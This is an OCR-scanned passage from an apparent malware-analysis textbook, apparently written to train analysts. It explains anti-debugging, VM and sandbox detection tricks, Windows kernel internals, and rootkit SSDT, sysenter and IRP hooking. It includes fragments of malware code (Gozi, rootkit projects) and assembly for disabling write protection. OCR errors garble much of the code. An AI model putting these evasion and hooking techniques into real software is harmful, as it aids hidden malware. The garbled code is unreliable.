FHEFEP IR T AR FEELE IR Ti i iiiiidiiddirdddiiiqidiitiirisd
f/ opens process
HANDLE ProcOpenProcessByNameW( PWSTR ProcessMame, DWORD dwDesiredAccess )
{

HANDLE hProcessSnap = INVALID_HANDLE_VALUE;

HANDLE hProcess = NULL;

PROCESSENTRY32W pe32;

DWORD Error = ERROR_FILE_NOT_FOUND;

// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot( TH32CS5_SMNAPPROCESS, @ );
if( hProcessSnap == INVALID_HANDLE_VALUE )

{

return NULL;

f// Set the size of the structure before using it.

pei2.dwsize = sizeof( PROCESSENTRYIZW );

// Retrieve information about the first process,

// and exit if unsuccessful

if( !Process32FirstW( hProcessSnap, &pe32 ) )

{
CloseHandle( hProcessSnap ); /f clean the snapshot object
return NULL;

// Now walk the snapshot of processes, and

[/ display information about each process in turn

do
{
if ( lstrcmpiW (pe32.szExeFile,ProcessName) == @ )
1
if { ( hProcess = OpenProcess( dwDesiredAccess, FALSE, pe32.th32ProcessID )} == NULL ){
Error = GetLastError();
}elsef{
Error = NO_ERROR;
i
break;
¥

} while({ Process32NextW( hProcessSnap, &pe32 ) );

Figure 15: Gozi malware looping through all running processes

The following screenshot shows an example of Gozi malware code using
the terminateprocess API to kill a process of its choice:



terminates process oy name

WINERROR ProcTerminateProcessh(
LPWSTR Processhame
)

WINERROR 5tatus = NO_ERROR;

HANDLE hProcess = ProcOpenProcessByNameW(ProcessName, PROCESS TERMINATE);
if (hProcess)

1

29))

)3

if (!TerminateProcess(hProcess
o
et ¥

Status = GetlastErr

CloseHandle{hProcess);

e

m

Status = GetlastError(};

return Status;

3

Figure 16: Gozi malware terminating a process with the help of the ProcOpenProcessByNameW function

This trick can be bypassed by renaming the tools you are using before executing
them. This simple solution could hide your tools perfectly if you just avoid using
any known keywords in the new names, such as dbg, disassembler, av, and so on.



Searching for the tool window

Another trick would be not to search for the tool's process name, but instead to
search for its window name (the window's title). By searching for a program
window name, malware can avoid any renaming that could be performed on the
process name, which gives it the opportunity to detect new tools as well (mostly,
window names are more descriptive than the process name).

This trick can be done in the following two ways:

e Using rindwindow: Malware can use either the full window title, such as
Microsoft network monitor, or the window class name. The window class
name is a name that was given to this window when it was created, and it's
different from the title that appears on the window. For example, the
OllyDbg window class name is oLLvoes, while the full title could change
based on the process name of the malware under analysis. An example of
this is as follows:

push NULL

push .szWindowClass0llyDbg
call FindwindowA

test eax,eax

jnz <debugger_found>

push NULL

push .szWindowClassWinDbg
call FindwindowA

test eax,eax

jnz <debugger_found>

.szWindowClassOllybDbg db "OLLYDBG", 0
.szWindowClassWinDbg db "WinDbgFrameClass",®

e Using enumwindows: Another way to avoid searching for the window class
name or dealing with the change of window titles is to just go through all
the window names that are accessible and scan their titles, searching for
suspicious window names such as Debugger, Monitor, Wireshark,
Disassembler, and so on. This is a more flexible way to deal with new tools
or tools the malware author forgot to cover.

With the enumwindows API, you need to set a caliback to receive all windows.
For each top-level window, this cai1iback will receive the handle of this
window, from which it can get its name using the cetwindowtext API. An



example of this is as follows:

00402085 | . 6085 RORDRERT
00402088 | . 58 it

O040208C1| . 68 1ELC4000 Callback = FinFishe. 00401C1R
004020F1 || . FFLE ERLO4000
004020F7|| . FFES FORDEFER

Figure 17: FinFisher using EnumWindows to set its callback function

The ca11back function declaration looks like this:

BOOL CALLBACK EnumWindowsProc(
_In_ HWND hwnd,
_In_ LPARAM 1Param

);

The nwnd phrase is the handle of the window, while 1paranm is a user-defined
argument (it's passed by the user to the caiiback function). Malware can use
the cetwindowtrext API when given this handle (hwnd) to get the window title and
scan it against a predefined list of keywords.

It's more complicated to modify window titles or classes than actually set
breakpoints on these APIs and use the ca11back function to bypass them. There are
plugins for popular tools, such as OllyDbg and IDA, that can help rename their
title window to avoid detection (like o11yadvanced), which you can use as a
solution as well.



Detecting sandboxes and virtual
machines

Malware authors know that if their malware sample is running on a virtual
machine, then it's probably being analyzed by a reverse engineer or it's probably
running under the analysis of an automated tool such as a sandbox. There are
multiple ways in which malware authors can detect virtual machines and
sandboxes. Let's go over some of them now.



Different output between virtual
machines and real machines

Nothing is perfect. Therefore, malware authors use the mistakes of the virtual
machines' implementations in some of the assembly instructions. Examples of
these are as follows:

e CPUID hypervisor bit: The CPUID instruction returns information about
the CPU and provides a leaf/ID of this information in eax. For leaf oxo1 (eax
= 1), the CPUID sets bit 31 to 1, indicating that the operating system is
running inside a virtual machine or a hypervisor.

¢ Virtualization brand: With the CPUID instruction, for some virtualization
tools, given eax = ox4e000000, it could return the name of the virtualization
tool, such as Microsoft HV or VMware in EBX, EDX, and ECX.

e MMX registers: MMX registers are a set of registers that were introduced
by Intel that help speed up graphics calculations. Some virtualization tools
don't support them. Some malware or packers use them for unpacking in
order to detect or avoid running on a virtual machine.



Detecting virtualization processes and
services

Virtualization tools mostly install tools on the guest machine to enable clipboard
synchronization, drag and drop, mouse synchronization, and so on. These tools
can be easily detected by scanning for these processes using

the CreateToolhelp32Snapshot, Process32First, and process3sznext APIs. Some of these
processes are as follows:

e VMware:
® vmtoolsd.exe
® vmacthlp.exe
® VMwareUser.exe
® VMwareService.exe
® VMwareTray.exe
¢ VirtualBox:
® VBoxService.exe

® VBoxTray.exe



Detecting virtualization through
registry keys

There are multiple registry keys that can be used to detect virtualization
environments. Some of them are related to the hard disk name (which is usually
named after the virtualization software), the installed virtualization sync tools, or
to other settings for the virtualization process. Some of these registry entries are
as follows:

® HKLM\SOFTWARE\Vmware Inc.\\\Vmware Tools

® SYSTEM\CurrentControlSet\Control\VirtualDeviceDrivers

® HKEY_LOCAL_MACHINE\SYSTEM\ControlSet@@1\Control\Class\{4D36E968-E325-11CE-BFC1-
08002BE10318}\0000\ProviderName

® HKEY_LOCAL_MACHINE\HARDWARE\\ACPI\\DSDT\\VBOX___

® HKEY_LOCAL_MACHINE\SOFTWARE\\Oracle\\VirtualBox Guest Additions



Detecting virtual machines using
PowerShell

It's not just registry values that reveal lots of information about the virtualization
tools—Windows-managed information, which is accessible using PowerShell,
can also be used, as shown in the following screenshot:

X Windows PowerShell

PS C:sScripts Get—lmiObject Win3Z_ComputerSystem

springfield.local
UMware, Inc.

UMware Uirtwal Platform
#PPRO

IT

267894784

Domain

Manufacturer

Model

ET T
PrimaryQunerMName
TotalPhysicalMemory

PS8 C:=»Scripts
Figure 18: The PowerShell command to detect VMWare

This information can also be accessed through a WMI query, such as the
following:

| SELECT * FROM Win32_ComputerSystem WHERE Manufacturer LIKE "%VMware%" AND Model LIKE "%\

For Microsoft Hyper-V, it would be as follows:

| SELECT * FROM Win32_ComputerSystem WHERE Manufacturer LIKE "%Microsoft Corporation%" ANL

These techniques make it harder to hide the fact that this malware is running
inside virtualization software and not on a real machine.



Detecting sandboxes by using default
settings

Sandboxes are sometimes easier to detect. They have lots of default settings that
malware authors can use to identify them. The usernames could be default
values, such as cuckoo or user. The filesystem could include the same decoy files
and the same structure of the files (if not, then the same number of files). These
settings can be easily detected for commonly used sandboxes, without even
looking at their known tools and processes.

Another way to evade sandboxes is to avoid performing malicious activities in
their analysis time window. These sandboxes execute malware for several
seconds or minutes and then collect the necessary information before terminating
the virtual machine. Some malware families use APIs such as sieep to skip the
execution for quite some time or run it after a machine restart. This trick can
help evade sandboxes and ensure that they don't collect important information,
such as C&C domains or malware-persistence techniques.



Other techniques

There are lots of other techniques that malware families can use to detect
virtualized environments, such as the following:

e Connecting to VirtualBox inter-process

communication: \\\\..\\pipe\\VBoxTrayIPC
e Detecting other virtualization software files, such as vsoxtook.d11
e Detecting their window title or window class name, such

dS VBoxTrayToolWndClass OI VBoxTrayToolwnd

e The MAC address of their network adapter

This list can be further expanded with many similar techniques and approaches
for detecting a virtualized environment.



Summary

In this chapter, we have covered many tricks that malware authors use to detect
and evade reverse engineering, from detecting the debugger and its breakpoints
to detecting virtual machines and sandboxes, as well as going through
obfuscation and debugger-escaping techniques. By the end of this chapter, you
will be able to analyze more advanced malware equipped with multiple anti-
debugging or anti-VM tricks. You will also be able to analyze a highly
obfuscated malware with lots of anti-disassembling tricks.

In chapter 6, Understanding Kernel-Mode Rootkits, we are going to enter the
operating system's core. We are going to cover the kernel mode and learn how
each API call and each operation works internally in the Windows operating
system, as well as how rootkits can hook each of these steps to hide malicious
activity from antivirus products and the user's eyes.



Understanding Kernel-Mode Rootkits

In this chapter, we are going to dig deeper into the Windows kernel and its
internal structure and mechanisms. We will cover different techniques used by
malware authors to hide their malware presence from users and antivirus
products.

We will look at different advanced kernel-mode hooking techniques, process
injection in kernel mode, and how to perform static and dynamic analysis.

Before we get into rootkits and learn how they are implemented, we need to
understand how the operating system actually works and how rootkits can target
different parts of the OS and use it to their advantage.

This chapter is divided into the following sections to facilitate seamless learning:

Kernel mode versus user mode

Windows internals

Rootkits and device drivers

Hooking mechanisms

Direct Kernel Object Manipulation Attack (DKOM)
Process injection in kernel mode

Kernel Patch Protection (KPP) in x64 systems (PatchGuard)
Static and dynamic analysis in kernel mode



Kernel mode versus user mode

You will have noticed a number of user-mode processes on your computer (all
the applications you see are running in user mode), such as modifying files,
connecting to the internet, and performing lots of activities. However, you might
be surprised to know that user-mode applications don't actually have privileges
to do all of this. In fact, they don't have the privileges to do anything except
modify their own memory (without allocating or changing permissions).

For any process to create a file or connect to a domain, it needs to send a request
to the kernel mode in order to perform that action. This request is done through
what is known as a system call, and this system call switches to kernel mode to
perform this action (that is, if the permission is granted). Kernel mode and user
mode are not only supported by the OS (or software restrictions)—they are also
supported by the processors through protection rings (or hardware restrictions).



Protection rings

Intel processors provide four rings of privileges. Each ring has lower privileges
than the previous one, as shown in the following diagram:

RING O

KERNEL
MODE

Figure 1: Processor rings

Windows uses only two of these rings: RING 0 for kernel mode and RING 3 for
user mode. Modern processors such as Intel and AMD have another ring (RING
1) for hypervisors and virtualizations so that each OS can run natively. However,
the hypervisors still control certain operations, such as hard disk access.

These rings are created for handling faults (such as memory access faults or any
type of exceptions) and for security. RING 3 has the least privileges—that is, the
processes in this ring cannot affect the system, they cannot access the memory of
other processes, and they cannot access physical memory (they must run in
virtualized memory). In contrast, RING 0 can do anything—it can directly affect
the system and its resources. Therefore, it's only accessible to the Windows



kernel and the device drivers.



Windows internals

Before we dive into the malicious activities of rootkits, let's take a look at how
the Windows OS actually works and how the interaction between the user mode
and kernel mode is organized. This knowledge will allow us to better understand
the specifics of kernel-mode malware and what parts on the system it may target.



The infrastructure of Windows

As we mentioned previously, the OS is divided into two parts: user mode and
kernel mode. This is demonstrated in the following diagram:
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Figure 2: The Windows OS design

Now, let's learn about the scope of these applications:

e User mode: This contains all the processes and services running in the
system (which you can see in task manager). These processes are running
under subsystems such as POSIX, the Win32 subsystem, and (more
recently) the Windows subsystem for Linux. All of these subsystems call
different APIs, which are tailored for that system through specific libraries,
such as kernels2.d11 in the Win32 and Win64 subsystems.

All of these Dynamic-Link Libraries (DLLs) call APIs in one DLL
(ntd11.d11), which communicates directly to the kernel mode. ntdi1.d11 is

a library that sends requests to the kernel using special instructions, such
as sysenter OT syscall (depending on the mode and whether it is Intel or
AMD; in this chapter, we will be using them interchangeably). The request
ID is saved in each register and the parameters are saved in the user-mode

stack:
M
dA0000eay8BEA1/BA ; Exported entry 257. HtCreateSection
dAd000eayBEA17BA ; Exported entry 1586. Z2uCreateSection
0000000807 8BEA17BO
0000000807 8BEA17BO
0000000807 8BEA17BO
00PBOBAB7BEA17BD public ZwCreateSection
Aa0000nn7BEA17BA ZuCreateSection proc near
A0000A0AYBEATYBA 4C BB D1 mov r18, rcx : HtCreateSection
B800000BO7YBEA17B3 BB 47 0O 00 B0 mov eax, 47h
BO0A00BO7BEA17BE OF 85 syscall
BO0AOBBO7BEA17BA C3 retn
AROA0ARAYBEA17EBA ZuCreateSection endp
B00A0BBAYBEA17BA

Figure 3: The syscall instruction

e Kernel mode: This manages all the resources, including the memory, files,
Ul, sound, graphics, and more. It also schedules threads, processes, and
manages the UI of all applications. The kernel mode communicates with
device drivers that directly send commands or receive inputs from the
hardware. The kernel mode manages all of these requests and any
operations that should be done before and after.

So, this is a brief explanation of how the Windows OS works. Now, it is time to
explore the life cycle of a request from the user mode to the kernel mode so that



we can gain an understanding of how this all works together. Additionally, we
will also explore how rootkits are able to interfere with the system to perform
malicious activities.



The execution path from user mode to
kernel mode

Let's take a look at the life cycle of one API that requires kernel mode (in this
example, it will be rindrirstrilea). We will dissect each step so that we can
understand the role that each part of the system plays in handling process
requests:

ZwQueryDirectoryFile
executes SYSCALL/SYSENTER
instruction passing the <
corresponding function
number N

FindFirstFile calls
ZwQueryDirectoryFile

FindFirstFile call

User Mode

Kernel Mode
h 4

fast call in kernel mode transferring NtQueryDirectoryFile sonastchanging the ot
control to a function with sends an IRP request to the C('j“ A 8ing p input
i om0 gEre T — or/and the output and returning

(in this case, NtQueryDirectoryFile)

Instruction executes a ;
Driver(s) can process the

the result to the use

—

Figure 4: The API call life cycle

Let's break down the preceding diagram, as follows:

1.

First, the process calls the rindrirstritea AP, which is implemented in

the kerne1s2.d11 library.

Then, kerne132.d11 (like all subsystem DLLs) calls the ntd11.411 library. In this
example, it calls an API called ZwQueryDirectoryFile (Ol‘ ZwQueryDirectoryFileEx).
All of the zu* APIs execute syscal1, as you saw in Figure 3.
zwQueryDirectoryFile €Xecutes syscall by providing the command ID in eax
(here, the command ID is changing from one Windows version to another).
Now, the application moves to the kernel mode and execution is redirected
to a kernel-mode function called kisystemservice, which is also called the
system service dispatcher.

kisystemservice Searches for the function that represents the command ID that
was in eax (in this case, it is ex91) in the System Service Dispatch Table
(SSDT). This table is sorted by the command ID, and the function it finds is



NtquerypirectoryFile. It calls this function and passes all the arguments that
were pushed to the user-mode stack of the process called rindrirstrilea:

User mode

Kernel mode

i

System service call

i

SYSTEM SERVICE DISPATCHER

SYSTEM SERVICE ;
DISPATCH TABLE ]‘ ) . | SSDT

System service 3

Figure 5: SSDT explained

6. Next, ntquerypirectoryrile is executed and this function sends a request called
I/0 Request Packet (IRP) to either fastfat.sys Or ntfs.sys (this depends on
the filesystem that is installed).

7. This request passes through multiple device drivers attached to the
filesystem driver. These device drivers are able to modify the inputs in any
request and the outputs (or responses) from the filesystem.

8. Finally, these attached device drivers are executed and the filesystem driver
processes the request. The IRP request makes its way back to
NtQueryDirectoryFile and kisystemservice With an instruction called sysexit. It
returns to the user-mode process with the results.



This may sound relatively complex but, for now, this is all you need to
know about how kernel-mode rootkits work and, more importantly, what
weaknesses in this process the rootkits can use to achieve their goals.



Rootkits and device drivers

Now that you understand Windows internals and how user mode and kernel
mode interactions work, let's dig into rootkits. In this section, we will understand
what these rootkits are and how they are designed. After we have grasped the
basic concepts of rootkits, we will discuss device drivers.



What is a rootkit?

Rootkits are essentially low-level tools that provide stealth capabilities to
malicious modules. This way, their main purpose is generally to complicate the
malware detection and remediation procedures on the target machine by hiding
the presence of related artefacts. There are multiple ways it can be done, let's
discuss them in greater detail.



Types of rootkits

There are various types of rootkits in user mode, kernel mode, and even boot
mode:

e Application rootkits: These replace the normal, legitimate application files
or their shortcuts with a rootkit that ensures the malware is loaded and
hidden from the user.

¢ Library rootkits: We covered library rootkits in chapter 4, Inspecting
Process Injection and API Hooking; they are user-mode rootkits that inject
themselves into other processes and hook their APIs to hide the malware
files, registers, and other Indicators of Compromise (IoCs) from these
processes. They can be used to hook AV programs, task managers, and
more.

e Kernel-mode rootkits: We will be primarily covering these rootkits in this
chapter. These rootkits are device drivers that hook different functions in
kernel mode to hide the malware's presence and give the malware the power
of kernel mode. They can also inject code and data into other processes,
terminate AV processes, intercept network traffic, or perform man-in-the-
middle attacks.

e Bootkits: Bootkits are a type of rootkit that modify the boot sector. They
are used to load malicious files before the OS even boots. This allows the
malware to take full control prior to the OS and its security mechanisms
launching.

¢ Firmware rootkits: This group of threats targets firmware (such as UEFI
or BIOS) in order to achieve the earliest execution possible.

In this chapter, we will focus on kernel-mode rootkits and how they can hook
multiple functions or modify kernel objects to hide malware. Before we get into
their hooking mechanisms, let's first understand what device drivers are.



What is a device driver?

Device drivers are kernel-mode tools that are created to interact with hardware.
Each hardware manufacturer creates a device driver to communicate with their
own hardware and translate the IRPs into requests that the hardware device
understands.

One of the main purposes of any OS is to standardize the channel of
communication with any type of device, regardless of the vendor. For example,
if you have replaced your wired mouse with a wireless one from a different
vendor, it should not affect the applications that interact with the mouse in
general. Additionally, if you are a developer, you should not worry about what
type of keyboard or printer the user has.

Device drivers make it possible to understand the I/0 request and return the
output in a standardized format, regardless of how the device works.

There are other device drivers as well that are not related to actual devices, such
as antivirus modules or, in our case, rootkits. Kernel-mode rootkits are device
drivers that use the capabilities that the kernel mode provides to support the
actual malware in terms of stealth and persistence.

Now let's take a look at how rootkits achieve their goals and what weaknesses in
the execution path from user mode to kernel mode they take advantage of.



Hooking mechanisms

In this section, we will explore different types of hooking mechanisms. In the
following diagram, we can see various types of hooking techniques that rootkits
use at different stages of the request process flow:
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Figure 6: The hooking mechanisms of rootkits

Rootkits can install hooks at different stages of this process flow:




¢ User-mode hooking/API hooking: These are the user-mode API hooking
mechanisms that are used for hiding malware processes, files, registries,
and more. We covered this in chapter 4, Inspecting Process Injection and
API Hooking.

e SYSENTER hooking: This is the first option that's available for the kernel-
mode rootkits to hook. In this case, they change the address that sysenter will
transfer the execution to, and intercept all requests from the user mode to
the kernel mode.

e SSDT hooking: This technique works more closely with the functions that
the rootkit wants to hook. This type of hooking modifies the SSDT to
redirect requests to a malicious function instead of the actual function that
handles the request (it is similar to IAT hooking).

e Code patching: Rather than modifying the SSDT, this rootkit patches the
function that handles the request to call the malicious function at the start (it
is similar to API hooking).

e Layered drivers/IRP hooking: This is the legitimate technique for hooking
and intercepting requests and modifying inputs and outputs. This technique
is harder to implement, but it's also harder to detect as it's legitimate. This is
because it is supported by Microsoft, is more universal, and is well-
documented.

We will also be exploring other techniques used by rootkits, such as DKOM for
objects such as eprocess and etirean, which we talked about in chapter 2, Basic
Static and Dynamic Analysis for x86/x64; and Interrupt Descriptor Table
(IDT) hooking, which targets exception handling mechanisms in Windows.
Notably, IDT was used for passing data to the kernel mode in Windows 2000 and
earlier before sysenter became the preferred method of doing this.

Now, let's go through these techniques in greater detail.



SSDT hooking

This is one of the most common and easiest techniques that is used by rootkits to
install hooks in kernel mode. In this section, we will take a look at different
methods of SSDT hooking, including hooking the sysenter entry

function, modifying the SSDT itself, and hooking the SSDT functions.



Hooking the SYSENTER entry
function

When a user-mode application executes sysenter (int ox2e in Windows 2000 and
earlier versions), the processor switches the execution to kernel mode and, in
particular, to a specific address stored in the Model Specific Register (MSR).
MSRs are the control registers that are used for debugging, monitoring, toggling,
or disabling various CPU features.

There are three important registers for the user-mode-to-kernel-mode switching
process using sysenter:

e MSR 0x174 (1n32_svsenter_cs): This stores the CS segment register value,
which is available after using sysenter; here, the SS segment register will be
a CS value of +8.

e MSR 0x175 (1a32_svsenter_esp): This stores the value of the kernel-mode
stack pointer once sysenter is executed; it is where the arguments will be
copied to.

e MSR 0x176 (1a32_sysenter_e1p): This is the new EIP value after
executing sysenter. It points to the kisystemservice function on x86 or
the kisystemcal164 function on x86-64.

These registers can be read and modified using rdmsr and wrmsr assembly
instructions. The rdmsr instruction takes the register ID in the ecx/rcx register and
returns the result in edx:eax (rdx:rax registers in x64 while the higher 32 bits in
both registers are not used); an example of this is as follows:

mov ecx, 0x176 ;IA32_SYSENTER_EIP
rdmsr ;read msr register
mov <eip_low>, eax
mov <eip_high>, edx

wrmsr iS very similar to rdmsr. wrmsr takes the register ID in ecx and the value to
write in the edx:eax pair. The hooking code is as follows:
mov ecx, 0x176 ;IA32_SYSENTER_EIP

xor edx, edx
mov eax, <malicious_hooking_function>




| wrmsr ;write this value in sysenter EIP
This technique has multiple drawbacks, as follows:

e For environments that have multiple processors, only one processor is being
hooked. This means that the attacker has to create multiple threads, hoping
that they will run on all processors so that it becomes possible to hook all of
them.

e The attacker needs to get the arguments from the user-mode stack and parse
them.

¢ In this way, all functions are being hooked, so it is necessary to implement
some filtration in order to check only the functions that are supposed to be
hooked.

This is the first place that malware can hook into the kernel mode. Let's take a
look at the second place, which is modifying the SSDT.



Modifying SSDT in an x86
environment

In 32-bit systems, the SSDT address is exported by ntoskrni.exe under the name
of KeServiceDescriptorTable. There are slots for four different SSDT entries, but
Windows has Oﬂly used two of them so far: KeServiceDescriptorTable and

KeServiceDescriptorTableShadow.

When a user-mode application uses sysenter, as you saw in Figure 3, the
application provides the function number or ID in the eax register. This value in
eax is divided in the following way:

Figure 7: The sysenter eax argument value

These values are as follows:

® bits 0-11: This is the System Service Number (SSN), which is the index of
this function in the SSDT

® bits 12-13: This is the Service Descriptor Table (SDT), which represents
the SSDT number (here, KeServiceDescriptorTable is 0x00,
and KeServiceDescriptorTableShadow is OxOl)

® pits 14-31: This value is not used and is filled with zeros

As there are only two tables, the value of SDT is always either eo or o1.

The keservicepescriptortable SSDT is the only one that is accessible. Additionally,
it's the one that most malware uses to monitor process creation, scanning calls,
filesystem calls, and registries. In comparison, the

KeServiceDescriptorTableShadow SSDT is mainly used for the Graphics Device
Interface (GDI), which is generally not relevant for malware.

The SSDT contains four elements:

e «iservicetable: This is the array of function addresses to represent each ID



that is passed to eax before sysenter.

® counterBaseTable: This is not used.

® nsystemcalls: This is the number of items or functions in kiserviceTable.

e «iArgumentTable: This is an array that is sorted in the same way as
kiserviceTable. Here, each item includes the number of bytes that should be
allocated for each function's arguments.

For malware to hook this table, it needs to get the servicepescriptorTable that's
exported by ntoskrnl.exe, and then move to kiservicetable and modify the function
that it wants to hook. To be able to modify this table, it needs to disable the write
protection (as this is a read-only table). There are multiple ways to do this, and
the most common way is by modifying the cro register value and setting the
write-protection bit to zero:

PUSH EBX

MOV EBX, CRO

OR EBX, 0x00010000
MOV CRO, EBX

POP EBX

The full hooking mechanism looks as follows:

typedef struct SystemServiceTable
{

DWORD *KiServiceTable;

DWORD *CounterBaseTable:

DWORD nSystemCalls;

DWORD *KiArgumentTable;
H
typedef struct ServiceDescriptorTable
{

SystemServiceTable ServiceDescriptor[d];
}:

extern "C" ServiceDescriptorTable* KeServiceDescriptorTable;

VOID 55DTDevice::Initialize (Drivert* driver)
{

phriver = driver;

this=>Type = SSDIDEVICE;
}

NTSTATUS S5DTDevice: :AttachTo (WCHAR* FunctionMame,DWORD newFunction)
{

this=>FuncIndex = Get35DTIndex (Functionlame);

if (this->FuncIndex == ()return STATUS ERROR;

this=>realdddr = KeServiceDescriptorTable=>ServiceDescriptor[0].KiServiceTable[this=>FuncIndex];
DisableWriteProtection();

InterlockedExchange ( (PLONG) &KeServiceDescriptorTable=»ServiceDescriptor[0].KiServiceTable [this-»FuncIndex],newFunction) ;
EnableWriteProtection() ;

Attached = true;
return STATUS SUCCESS;



Figure 8: The SSDT hooking code from the winSRDF project

As you can see in the preceding code, the application was able to get the address
of the ServiceDescriptorTable, which was eXported with the

KeServiceDescriptorTable NAMe from ntoskrnl.exe; it then got the kiserviceTable array,
disabled the write protection; and, finally, used interiockedexchange to modify the
table while no other thread was using it (nterlockedexhange protects the application
from writing at the same time another thread is reading).



Modifying SSDT in an x64
environment

In the x64 environment, Windows implemented more protection for patching
SSDT. Initially, SSDT hooking was used by malware and anti-malware alike. It
was also used by sandboxes and other behavioral antivirus tools. However, in
version x64, Microsoft decided to stop this completely and began offering
legitimate applications rather than SSDT hooking.

Microsoft implemented multiple protections to stop SSDT hooking, such as
PatchGuard (which we will talk about later in this chapter). Additionally, it
StOppEd EXpOTtng KeServiceDescriptorTable via ntoskrnl.exe.

Since keservicebescriptorTable iS not exported, malware families started to search
for functions that used this table in order to gain access to the addresses. One of
the functions they used was KiSystemServiceRepeat.

This function contains the following code:

lea r10, <KeServiceDescriptorTable>
lea r11, <KeServiceDescriptorTableShadow>
test DWORD PTR [rbx + 100h] , 806h

As you can see, this function uses the addresses of both SSDT entries. However,
finding this function and the code inside it isn't easy. The function is close to
kisystemcalle4 (the sysenter entry function in the x64 environment). Malware can
get the address of kisystencal164 using the 1as2_svsenter_ezr MSR register. By doing
so, it can start searching from it for around 0 x 500 bytes or more until it finds
the preceding code. In general, malware searches for particular opcodes in order
to find this function, as you can see in the following screenshot:
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r Description :

£ Retrieve KeServiceDescriptorTable address

ff Parameters :

1L None

r Return value :

/f ULONGLONG : The service descriptor table address

Iz Process :

1 Since KeServiceDescriptorTable isn't an exported symbol anymore, we have to retrieve it.

£ When looking at the disassembly version of nt!KiSystemServiceRepeat, we can see interesting instructions :

14 4c8d15c720238@ lea rl@, [nt!KeServiceDescriptorTable (addr)] =» it's the address we are looking for (:
Iz 4c8d1dee2123e@ lea rll, [nt!KeServiceDescriptorTableshadow (addr)]

ff 7830001000080 test dword ptr[rbx+l@eh], seh

ff

1L Furthermore, the LSTAR M5R value (at @x(@@@e882) is initialized with nt!KiSystemCallé4, which is a function
ff close to nt!KiSystemServiceRepeat. We will begin to search from this address, the opcodes @x83f7, the ones

o after the two lea instructions, once we get here, we can finally retrieve the KeServiceDescriptorTable address

FEEEETEEREEE LT LELR LTI E LB ET R TER TP EETEE LT EE LTI E TR AT D E L E T EE LTI T IR AT EE LI B LT
ULONGLONG GetKeServiceDescriptorTableed()

{
PUCHAR pStartSearchAddress = (PUCHAR)_ readmsr{@xCoeoeas2);
PUCHAR pEndSearchAddress = (PUCHAR)( ((ULONG_PTR)pStartSearchAddress + PAGE_SIZE) & (~Bx@FFF) );
PULONG pFindCodeAddress = NULL;
ULONG_PTR  pKeServiceDescriptorTable;
while ( ++pStartSearchAddress < pEndSearchAddress )
{
if ( (*(PULONG)pStartSearchAddress & @xFFFFFF@@) == @x33f7eeee )
{
pFindCodeAddress = (PULONG)(pStartSearchAddress - 12);
return (ULONG_PTR)pFindCodeAddress + ({(*(PULONG)pFindCodeAddress)>>24)+7) + (ULONG_PTR)(((*(PULONG)(pFindCodeAddress+1))
1
5
return &;
]

Figure 9: SSDT hooking in the x64 environment by the zerOmOn project

This mechanism is not completely reliable, and it could be easily broken in a
later Windows version; however, it's one of the known mechanisms to find an
SSDT address in x64.



Hooking SSDT functions

The final technique worth mentioning in SSDT hooking is hooking the functions
that are referenced in the SSDT. This is very similar to API hooking. In this case,
malware gets the function from the SSDT using the function ID and patches the
first few bytes with jmp <malicious_func>. It then returns the execution back to the
original function after checking the process that called this function and its
parameters.

This technique is used because SSDT hooks can be easily detected by antivirus
or rootkit scanning programs. It's easy to loop through all the functions inside the
SSDT and search for a function that is outside the legitimate driver's or
application's memory image.

That's all for SSDT hooking; now, let's take a look at layered drivers or IRP
hooking.



IRP hooking

IRPs are the main objects that represent the input (a request) and the output (a
response) from a device. Each request packet is simplified by a chain of drivers
until the message is understandable so that the user-mode application can be sent
to it.

For example, consider that you want to play a music file (such as an MP3 file).
Once the file has been opened by an application that understands MP3 format, it
is converted into something that can be understood by a kernel-mode driver.
Then, this driver simplifies it for the next driver and so on, until it reaches the
actual speaker as an encoded group of waves. Another example is an electric
signal from a keyboard, which is simplified to be a click on a button using an ID
(for example, the r button). Then, it is passed to a keyboard driver, which
understands that this is the letter r and passes it to the next one. This continues
until it reaches, say, a text editor, such as Notepad, to write the letter r.

So, how does all of this relate to rootkits? Well, a rootkit that's present in this
chain of drivers that processes IRP request packets can change the input, the
output, or ignore the request altogether (for example, when the malicious file is
being accessed by a researcher or some antivirus product) and send back an
access denied response. This is the only legitimate way that Windows supports
you being able to hook any request from user mode and modify its input and
output.



Devices and major functions

For any driver to be able to receive and handle IRP requests, it is necessary to
create a device object. This device can be attached to a chain of device drivers
that processes a specific type of IRP request. For example, if the attacker wants
to hook filesystem requests, they need to create a device and attach it to the
chain of filesystem devices. After this, it becomes possible to start receiving IRP
requests associated with this filesystem (such as opening a file or querying a
directory).

Creating a device object is simple: the driver can simply call

the rocreatepevice API and provide the flags corresponding to the device it wants
to attach to. For malware analysis, these flags could help you understand the
goal of this device, such as the riLe_pevice_prsk_riLe_svstem flag.

The driver also needs to set up all the functions that will receive and handle
these requests. Each IRP request has major function code

in re_ma_xxx format. This code helps to understand what this IRP request is
about, such as 1re_m3_create (this could be used for creating a file or opening a
file) or 1re_ma_p1rectory_controL (this could be used for querying a directory). Here
is an example of the code implementing this setup:

for(i = @; 1 <= IRP_MJ_MAXIMUM FUNCTION; i++ )
{

DriverObject->MajorFunction[i] = IRPDispatchRoutine;

h
DriverObject-»>MajorFunction[IRP_MJ_FILE_SYSTEM CONTROL] = OnFileSystemControl;
DriverObject->MajorFunction[IRP_MJ DIRECTORY CONTROL] = OnDirectoryControl;

Figure 10: Setting up the major functions

In each of these functions, the driver can get the parameters of this request from
what is known as the IRP stack. The IRP stack contains all the necessary
information related to this request, and the driver can add, modify, or remove
from them along the way. To get the pointer to this stack, the driver calls



the rosetcurrentirpstackLocation API and provides the address of the IRP of interest.

An example of a major function that filters files with the _root " name could be
as follows:

NTSTATUS HookedMjCreate (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{

PIO STACK LOCATION irpStack;
ULONG ioTransferType;
// Get a pointer to the current location in the IRP. This is where

// the function codes and parameters are located.

irpStack = IoGetCurrentIrpStacklLocation(Izp) ;
switch (irpStack->MajorFunction)
{

case IRP MJ CREATE:

// Filter only files containing _root

if (irpStack->FileCbject != NULL && i;pstack—>FileObject—}FileName.Length > && wcsstr(irpStack->
FileObject->FileName.Buffer, 1" root_ ") I!= NULL)
{

DbgPrint (" [HOOE] File: %ws\n", irpStack->FileObject->FileName.Buffer);

Figure 11: A major function creates a filter to process files with the "_root_" name

After the rootkit has created its device(s) and set up its major functions, it can
now hook the corresponding requests by attaching itself to the device that
receives the requests of the rootkit's interest.



Attaching to a device

For the rootkit to attach to a named device (for example, \\Filesystem\\fastfat, tO
